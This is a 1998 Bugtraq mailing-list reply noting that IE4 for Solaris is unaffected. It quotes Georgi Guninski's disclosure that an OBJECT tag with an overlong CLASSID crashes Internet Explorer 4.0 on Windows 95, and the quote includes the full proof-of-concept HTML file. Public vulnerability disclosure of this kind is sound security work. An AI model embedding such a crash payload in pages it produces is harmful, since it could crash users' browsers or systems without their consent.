[7479] in bugtraq
Re: Object tag crashes Internet Explorer 4.0
daemon@ATHENA.MIT.EDU (Matt Rose)
Wed Jul 29 21:43:28 1998
Date: Wed, 29 Jul 1998 16:54:09 -0400
Reply-To: Matt Rose <mattrose@CYBERUS.CA>
From: Matt Rose <mattrose@CYBERUS.CA>
X-To: Georgi Guninski <guninski@HOTMAIL.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19980728171036.5485.qmail@hotmail.com>
IE4 for Solaris is unaffected
--
Matthew Rose
Systems Administrator
Cyberus Online Inc.
On Tue, 28 Jul 1998, Georgi Guninski wrote:
> The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
> know about other versions/OS).
> The following:
> <OBJECT CLASSID=____More than 250 characters here____></OBJECT>
> opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
> or a blue screen with "Fatal exception 0E" and you need to reboot.
> I don't think this is exploitable(?), but it is a bad "feature".
>
> Georgi Guninski
> guninski@hotmail.com
> http://www.geocities.com/ResearchTriangle/1711
>
> -------------------------------------Cut here: Object.html -------
> <HTML>
> Trying to crash IE 4.0
> <OBJECT
> CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
> </OBJECT>
> </HTML>
>
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com
>
